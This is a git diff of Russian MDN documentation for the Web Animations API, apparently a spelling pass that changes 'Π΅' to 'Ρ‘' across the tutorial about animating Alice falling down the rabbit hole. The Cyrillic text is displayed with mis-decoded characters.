+<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ интСрфСйсы Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹ Π² спСцификации для Ρ‚Π°ΠΊΠΈΡ… Ρ†Π΅Π»Π΅ΠΉ, ΠΊΠ°ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ Π² Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Π΄Ρ€ΡƒΠ³ΠΈΡ… мСстах, ΠΈΠ»ΠΈ ΡΠ»ΡƒΠΆΠΈΡ‚ΡŒ Π² качСствС основы для Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… интСрфСйсов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹ Π² качСствС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ ΠΎΠ΄Π½ΠΈΡ… ΠΈ Ρ‚Π΅Ρ… ΠΆΠ΅ свойств. Π’Ρ‹ Π±Ρ‹ Π½Π΅ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… Π² Ρ€Π°Π±ΠΎΡ‚Π΅ Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ, Π½ΠΎ ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ интСрСсны для Π°Π²Ρ‚ΠΎΡ€ΠΎΠ² Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ½ΡΡ‚ΡŒ, ΠΊΠ°ΠΊ эта тСхнология Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ ΠΈΡ… Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ эффСктивными, ΠΈΠ»ΠΈ для ΠΈΠ½ΠΆΠ΅Π½Π΅Ρ€ΠΎΠ² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡ‰ΡƒΡ‚ Π±ΠΎΠ»Π΅Π΅ Π»Ρ‘Π³ΠΊΠΎΠΉ ссылки, Ρ‡Π΅ΠΌ спСцификация обСспСчиваСт.</p>
<dl>
<dt>{{Domxref("AnimationEffectTimingReadOnly")}}</dt>
diff --git a/files/ru/web/api/web_animations_api/using_the_web_animations_api/index.html b/files/ru/web/api/web_animations_api/using_the_web_animations_api/index.html
index d050b43cb8..e19524852d 100644
--- a/files/ru/web/api/web_animations_api/using_the_web_animations_api/index.html
+++ b/files/ru/web/api/web_animations_api/using_the_web_animations_api/index.html
@@ -7,7 +7,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API
---
<p>{{DefaultAPISidebar("Web Animations")}}</p>
-<p class="summary">Web Animations API позволяСт Π½Π°ΠΌ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ ΠΈ ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ Π΅Ρ‘ воспроизвСдСниСм с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ JavaScript. Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΌ руководством для старта c вСсСлыми Π΄Π΅ΠΌΠΊΠ°ΠΌΠΈ ΠΈ ΡƒΡ€ΠΎΠΊΠ°ΠΌΠΈ с Алисой Π² Π‘Ρ‚Ρ€Π°Π½Π΅ ЧудСс.</p>
+<p class="summary">Web Animations API позволяСт Π½Π°ΠΌ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ ΠΈ ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ Π΅Ρ‘ воспроизвСдСниСм с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ JavaScript. Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΌ руководством для старта c вСсёлыми Π΄Π΅ΠΌΠΊΠ°ΠΌΠΈ ΠΈ ΡƒΡ€ΠΎΠΊΠ°ΠΌΠΈ с Алисой Π² Π‘Ρ‚Ρ€Π°Π½Π΅ ЧудСс.</p>
<h2 id="ВстрСчайтС_Web_Animations_API">ВстрСчайтС Web Animations API</h2>
@@ -18,7 +18,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API
<h2 id="ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ°_Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ²">ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ²</h2>
-<p>ΠžΡΠ½ΠΎΠ²Ρ‹ ΠΈ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹ Web Animations API, описанныС Π² этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ доступны Π² Firefox 48+ ΠΈ Chrome 36+. Webkit ΠΈ Edge ΠΏΠ΅Ρ€Π΅ΡˆΠ»ΠΈ Π½Π° Β API соотвСтствСнно, Π½ΠΎ ΠΏΠΎΠΊΠ° Π½Π΅Ρ‚ ΠΏΠΎΠ»Π½ΠΎΠΉ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ Π²ΠΎ всСх Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, Π΅ΡΡ‚ΡŒ удобная слуТба ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ <a href="https://github.com/web-animations/web-animations-js">handy maintained polyfill</a> которая тСстируСт ΠΈ добавляСт Π΅Π΅ ΠΏΡ€ΠΈ нСобходимости.</p>
+<p>ΠžΡΠ½ΠΎΠ²Ρ‹ ΠΈ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹ Web Animations API, описанныС Π² этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ доступны Π² Firefox 48+ ΠΈ Chrome 36+. Webkit ΠΈ Edge ΠΏΠ΅Ρ€Π΅ΡˆΠ»ΠΈ Π½Π° Β API соотвСтствСнно, Π½ΠΎ ΠΏΠΎΠΊΠ° Π½Π΅Ρ‚ ΠΏΠΎΠ»Π½ΠΎΠΉ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ Π²ΠΎ всСх Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, Π΅ΡΡ‚ΡŒ удобная слуТба ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ <a href="https://github.com/web-animations/web-animations-js">handy maintained polyfill</a> которая тСстируСт ΠΈ добавляСт Π΅Ρ‘ ΠΏΡ€ΠΈ нСобходимости.</p>
<h2 id="НаписаниС_CSS_Animations_вмСстС_с_Web_Animations_API">НаписаниС CSS Animations вмСстС с Web Animations API</h2>
@@ -26,11 +26,11 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API
<h3 id="CSS_вСрсия">CSS вСрсия</h3>
-<p>Π’ΠΎΡ‚ такая анимация написана Π² CSS, ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π°Ρ, ΠΊΠ°ΠΊ Алиса ΠΏΠ°Π΄Π°Π΅Ρ‚ Π² ΠΊΡ€ΠΎΠ»ΠΈΡ‡ΡŒΡŽ Π½ΠΎΡ€Ρƒ, которая Π²Π΅Π΄Π΅Ρ‚ Π² страну чудСс (см. ΠΏΠΎΠ»Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ Π½Π°<a href="http://codepen.io/rachelnabors/pen/QyOqqW">Β Codepen</a>):</p>
+<p>Π’ΠΎΡ‚ такая анимация написана Π² CSS, ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π°Ρ, ΠΊΠ°ΠΊ Алиса ΠΏΠ°Π΄Π°Π΅Ρ‚ Π² ΠΊΡ€ΠΎΠ»ΠΈΡ‡ΡŒΡŽ Π½ΠΎΡ€Ρƒ, которая Π²Π΅Π΄Ρ‘Ρ‚ Π² страну чудСс (см. ΠΏΠΎΠ»Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ Π½Π°<a href="http://codepen.io/rachelnabors/pen/QyOqqW">Β Codepen</a>):</p>
<p><a href="http://codepen.io/rachelnabors/pen/rxpmJL"><img alt="Alice Tumbling down the rabbit's hole." src="https://mdn.mozillademos.org/files/13843/tumbling-alice_optimized.gif" style="display: block; height: 374px; margin-left: auto; margin-right: auto; width: 700px;"></a></p>
-<p>Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ Ρ„ΠΎΠ½ двигаСтся, Алиса крутится ΠΈ Π΅Π΅ Ρ†Π²Π΅Ρ‚ мСняСтся ΠΏΡ€ΠΈ Π²Ρ€Π°Ρ‰Π΅Π½ΠΈΠΈ. ΠœΡ‹ собираСмся ΡΠΎΡΡ€Π΅Π΄ΠΎΡ‚ΠΎΡ‡ΠΈΡ‚ΡŒΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° АлисС Π² этом ΡƒΡ€ΠΎΠΊΠ΅. Π’ΠΎΡ‚ ΡƒΠΏΡ€ΠΎΡ‰Π΅Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ CSS, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ управляСт Π΄Π²ΠΈΠΆΠ΅Π½ΠΈΠ΅ΠΌ Алисы.</p>
+<p>Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ Ρ„ΠΎΠ½ двигаСтся, Алиса крутится ΠΈ Π΅Ρ‘ Ρ†Π²Π΅Ρ‚ мСняСтся ΠΏΡ€ΠΈ Π²Ρ€Π°Ρ‰Π΅Π½ΠΈΠΈ. ΠœΡ‹ собираСмся ΡΠΎΡΡ€Π΅Π΄ΠΎΡ‚ΠΎΡ‡ΠΈΡ‚ΡŒΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° АлисС Π² этом ΡƒΡ€ΠΎΠΊΠ΅. Π’ΠΎΡ‚ ΡƒΠΏΡ€ΠΎΡ‰Ρ‘Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ CSS, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ управляСт Π΄Π²ΠΈΠΆΠ΅Π½ΠΈΠ΅ΠΌ Алисы.</p>
<pre class="brush: css notranslate">#alice {
animation: aliceTumbling infinite 3s linear;
@@ -50,7 +50,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API
}
}</pre>
-<p>ИзмСнСниС Ρ†Π²Π΅Ρ‚Π° Алисы ΠΈ Π΅Π΅ Π²Ρ€Π°Ρ‰Π΅Π½ΠΈΠ΅ Π² Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ 3 сСкунд ΠΏΡ€ΠΈ постоянной (Π»ΠΈΠ½Π΅ΠΉΠ½ΠΎΠΉ) скорости ΠΈ бСсконСчном Ρ†ΠΈΠΊΠ»Π΅. Π’ <a href="/en-US/docs/Web/CSS/@keyframes">@keyframes</a> Π±Π»ΠΎΠΊΠ΅ ΠΌΡ‹ Π²ΠΈΠ΄ΠΈΠΌ, Ρ‡Ρ‚ΠΎ 30% Β ΠΈΠ· всСго Ρ†ΠΈΠΊΠ»Π° (ΠΎΠΊΠΎΠ»ΠΎ 9 сСкунд), Ρ†Π²Π΅Ρ‚ Алисы мСняСтся ΠΎΡ‚ Ρ‡Π΅Ρ€Π½ΠΎΠ³ΠΎ Π΄ΠΎ насыщСнного Π±ΠΎΡ€Π΄ΠΎΠ²ΠΎΠ³ΠΎ, Π° ΠΏΠΎΡ‚ΠΎΠΌ снова Π² Ρ‡Π΅Ρ€Π½Ρ‹ΠΉ ΠΊ ΠΊΠΎΠ½Ρ†Ρƒ Ρ†ΠΈΠΊΠ»Π°.</p>
+<p>ИзмСнСниС Ρ†Π²Π΅Ρ‚Π° Алисы ΠΈ Π΅Ρ‘ Π²Ρ€Π°Ρ‰Π΅Π½ΠΈΠ΅ Π² Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ 3 сСкунд ΠΏΡ€ΠΈ постоянной (Π»ΠΈΠ½Π΅ΠΉΠ½ΠΎΠΉ) скорости ΠΈ бСсконСчном Ρ†ΠΈΠΊΠ»Π΅. Π’ <a href="/en-US/docs/Web/CSS/@keyframes">@keyframes</a> Π±Π»ΠΎΠΊΠ΅ ΠΌΡ‹ Π²ΠΈΠ΄ΠΈΠΌ, Ρ‡Ρ‚ΠΎ 30% Β ΠΈΠ· всСго Ρ†ΠΈΠΊΠ»Π° (ΠΎΠΊΠΎΠ»ΠΎ 9 сСкунд), Ρ†Π²Π΅Ρ‚ Алисы мСняСтся ΠΎΡ‚ Ρ‡Ρ‘Ρ€Π½ΠΎΠ³ΠΎ Π΄ΠΎ насыщСнного Π±ΠΎΡ€Π΄ΠΎΠ²ΠΎΠ³ΠΎ, Π° ΠΏΠΎΡ‚ΠΎΠΌ снова Π² Ρ‡Ρ‘Ρ€Π½Ρ‹ΠΉ ΠΊ ΠΊΠΎΠ½Ρ†Ρƒ Ρ†ΠΈΠΊΠ»Π°.</p>
<h3 id="Π”Π²ΠΈΠΆΠ΅Π½ΠΈΠ΅_Π²_JavaScript">Π”Π²ΠΈΠΆΠ΅Π½ΠΈΠ΅ Π² JavaScript</h3>
@@ -66,13 +66,13 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API
{ transform: 'rotate(360deg) translate3D(-50%, -50%, 0)', color: '#000' }
];</pre>
-<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ массив, содСрТащий нСсколько ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ². ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ прСдставляСт собой ΠΊΠΎΠ΄ ΠΎΡ‚ ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ CSS. Однако, Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ CSS, Web Animations API Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ Π½Π°Π·Π½Π°Ρ‡Π°Ρ‚ΡŒ Ρ‚ΠΎΡ‡Π½Ρ‹Π΅ ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Ρ‹ ΠΏΠΎ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰Π΅Π³ΠΎ ΠΊΠΎΠ΄Π°. Он автоматичСски Ρ€Π°Π·Π΄Π΅Π»ΠΈΡ‚ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ Π½Π° Ρ€Π°Π²Π½Ρ‹Π΅ части Π² соотвСтствии с количСством ΠΊΠΎΠ΄ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ Π΅ΠΌΡƒ Π΄Π°Π΅Ρ‚Π΅. Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Keyframe с трСмя ΠΊΠΎΠ΄Π°ΠΌΠΈ Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΎΡΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ΡŒ срСдний ΠΊΠΎΠ΄ 50% Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Ρ‡Π΅Ρ€Π΅Π· ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ†ΠΈΠΊΠ» Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ Ссли Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½ΠΎ ΠΈΠ½ΠΎΠ΅.</p>
+<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ массив, содСрТащий нСсколько ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ². ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ прСдставляСт собой ΠΊΠΎΠ΄ ΠΎΡ‚ ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ CSS. Однако, Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ CSS, Web Animations API Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ Π½Π°Π·Π½Π°Ρ‡Π°Ρ‚ΡŒ Ρ‚ΠΎΡ‡Π½Ρ‹Π΅ ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Ρ‹ ΠΏΠΎ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰Π΅Π³ΠΎ ΠΊΠΎΠ΄Π°. Он автоматичСски Ρ€Π°Π·Π΄Π΅Π»ΠΈΡ‚ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ Π½Π° Ρ€Π°Π²Π½Ρ‹Π΅ части Π² соотвСтствии с количСством ΠΊΠΎΠ΄ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ Π΅ΠΌΡƒ Π΄Π°Ρ‘Ρ‚Π΅. Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Keyframe с трСмя ΠΊΠΎΠ΄Π°ΠΌΠΈ Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΎΡΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ΡŒ срСдний ΠΊΠΎΠ΄ 50% Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Ρ‡Π΅Ρ€Π΅Π· ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ†ΠΈΠΊΠ» Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ Ссли Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½ΠΎ ΠΈΠ½ΠΎΠ΅.</p>
-<p>Если ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ Π½Π°Π±ΠΎΡ€ ΠΊΠΎΠ΄Π° смСщался ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π°, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ смСщСниС нСпосрСдствСнно Π½Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ, ΠΎΡ‚Π΄Π΅Π»ΠΈΠ² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ запятой. Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π²ΠΈΠ΄Π½ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ†Π²Π΅Ρ‚ Алисы мСнялся Π½Π° 30%, Π° Π½Π΅ Π½Π° 50% всСго Ρ†ΠΈΠΊΠ»Π°, ΠΌΡ‹ Π·Π°Π΄Π°Π΅ΠΌ смСщСниС: 0,333.</p>
+<p>Если ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ Π½Π°Π±ΠΎΡ€ ΠΊΠΎΠ΄Π° смСщался ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π°, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ смСщСниС нСпосрСдствСнно Π½Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ, ΠΎΡ‚Π΄Π΅Π»ΠΈΠ² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ запятой. Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π²ΠΈΠ΄Π½ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ†Π²Π΅Ρ‚ Алисы мСнялся Π½Π° 30%, Π° Π½Π΅ Π½Π° 50% всСго Ρ†ΠΈΠΊΠ»Π°, ΠΌΡ‹ Π·Π°Π΄Π°Ρ‘ΠΌ смСщСниС: 0,333.</p>
<p>Π’Π°ΠΌ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ ΠΊΠ°ΠΊ ΠΌΠΈΠ½ΠΈΠΌΡƒΠΌ Π΄Π²Π° ΠΊΠ°Π΄Ρ€Π° (ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΡ… Π½Π°Ρ‡Π°Π»ΠΎ ΠΈ ΠΊΠΎΠ½Π΅Ρ† Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ). Если Π² вашСм спискС keyframe Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½Π° запись, {{domxref("Element.animate()")}} Ρ‚ΠΎ анимация Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚, Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ ΠΎΡˆΠΈΠ±ΠΊΡƒ NotSupportedError exception.</p>
-<p>И Ρ‚Π°ΠΊ ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΠΈΠΌ, ΠΊΠΎΠ΄ Ρ€Π°Π²Π½ΠΎΠΌΠ΅Ρ€Π½ΠΎ распрСдСлСн ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Ссли Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½ΠΎ смСщСниС. Π£Π΄ΠΎΠ±Π½ΠΎ, Π½Π΅ Ρ‚Π°ΠΊ Π»ΠΈ?</p>
+<p>И Ρ‚Π°ΠΊ ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΠΈΠΌ, ΠΊΠΎΠ΄ Ρ€Π°Π²Π½ΠΎΠΌΠ΅Ρ€Π½ΠΎ распрСдСлён ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Ссли Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½ΠΎ смСщСниС. Π£Π΄ΠΎΠ±Π½ΠΎ, Π½Π΅ Ρ‚Π°ΠΊ Π»ΠΈ?</p>
<h4 id="ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»Π΅Π½ΠΈΠ΅_свойства_Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ.">ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»Π΅Π½ΠΈΠ΅ свойства Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ.</h4>
@@ -87,7 +87,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API
<ul>
<li>Π’ΠΎ-ΠΏΠ΅Ρ€Π²Ρ‹Ρ…, Π΄Π»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ Π² миллисСкундах, Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠΈ ΠΎΡ‚ сСкунд - 3000, Π° Π½Π΅ 3с. Как {{domxref("WindowTimers.setTimeout()")}} ΠΈ {{domxref("Window.requestAnimationFrame()")}}, Web Animations API ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ миллисСкунды.</li>
- <li>Π’ΠΎ-Π²Ρ‚ΠΎΡ€Ρ‹Ρ…, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π·Π°ΠΌΠ΅Ρ‚ΠΈΠ»ΠΈ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½Ρ‹ΠΉ (повторяСтся), Π° Π½Π΅ счСтчик ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π΅Π½ΠΈΠΉ.</li>
+ <li>Π’ΠΎ-Π²Ρ‚ΠΎΡ€Ρ‹Ρ…, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π·Π°ΠΌΠ΅Ρ‚ΠΈΠ»ΠΈ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½Ρ‹ΠΉ (повторяСтся), Π° Π½Π΅ счётчик ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π΅Π½ΠΈΠΉ.</li>
</ul>
<div class="note">
@@ -96,7 +96,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API
<h4 id="Π‘ΠΎΠ±ΠΈΡ€Π°Π΅ΠΌ_части_вмСстС.">Π‘ΠΎΠ±ΠΈΡ€Π°Π΅ΠΌ части вмСстС.</h4>
-<p>БСйчас собСрСм всС части вмСстС ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ {{domxref("Element.animate()")}} ΠΌΠ΅Ρ‚ΠΎΠ΄:</p>
+<p>БСйчас собСрём всС части вмСстС ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ {{domxref("Element.animate()")}} ΠΌΠ΅Ρ‚ΠΎΠ΄:</p>
<pre class="brush: js notranslate">document.getElementById("alice").animate(
aliceTumbling,
@@ -105,7 +105,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API
<p>И вуаля, анимация Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚(смотритС Π³ΠΎΡ‚ΠΎΠ²Ρ‹ΠΉ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ Π½Π° <a href="http://codepen.io/rachelnabors/pen/rxpmJL">version on Codepen</a>).</p>
